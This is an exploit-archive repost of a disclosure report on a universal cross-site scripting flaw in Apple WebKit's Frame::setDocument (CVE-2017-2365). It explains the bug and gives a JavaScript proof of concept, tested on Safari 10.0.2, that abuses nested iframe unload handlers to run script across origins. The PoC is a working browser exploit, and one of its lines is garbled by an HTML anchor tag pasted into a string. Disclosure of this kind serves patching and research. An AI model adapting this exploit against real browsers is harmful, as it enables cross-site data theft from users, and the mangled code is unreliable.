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Apple WebKit Frame::setDocument UXSS Exploit
Author
Risk
[Security Risk Medium
]0day-ID
Category
Date add
CVE
Platform
Apple WebKit: UXSS via Frame::setDocument
CVE-2017-2365
Here's a snippet of Frame::setDocument.
void Frame::setDocument(RefPtr<Document>&& newDocument)
{
ASSERT(!newDocument || newDocument->frame() == this);
if (m_doc && m_doc->pageCacheState() != Document::InPageCache)
m_doc->prepareForDestruction();
m_doc = newDocument.copyRef();
...
}
Before setting |m_doc| to |newDocument|, it calls |prepareForDestruction| that fires unload event handlers. If we call |Frame::setDocument| with the new document |a|, and call |Frame::setDocument| again with the new document |b| in the unload event handler. Then |prepareForDestruction| will be never called on |b|, which means the frame will be never detached from |b|.
PoC:
"use strict";
let f = document.documentElement.appendChild(document.createElement("iframe"));
let a = f.contentDocument.documentElement.appendChild(document.createElement("iframe"));
a.contentWindow.onunload = () => {
f.src = "javascript:''";
let b = f.contentDocument.appendChild(document.createElement("iframe"));
b.contentWindow.onunload = () => {
f.src = "javascript:''";
let doc = f.contentDocument;
f.onload = () => {
f.onload = () => {
f.onload = null;
let s = doc.createElement("form");
s.action = "javascript:alert(location)";
s.submit();
};
f.src = "<a href="https://abc.xyz/";" title="" class="" rel="nofollow">https://abc.xyz/";</a>
};
};
};
f.src = "javascript:''";
Tested on Safari 10.0.2(12602.3.12.0.1).
This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.
Found by: lokihardt
# 0day.today [2024-06-28] #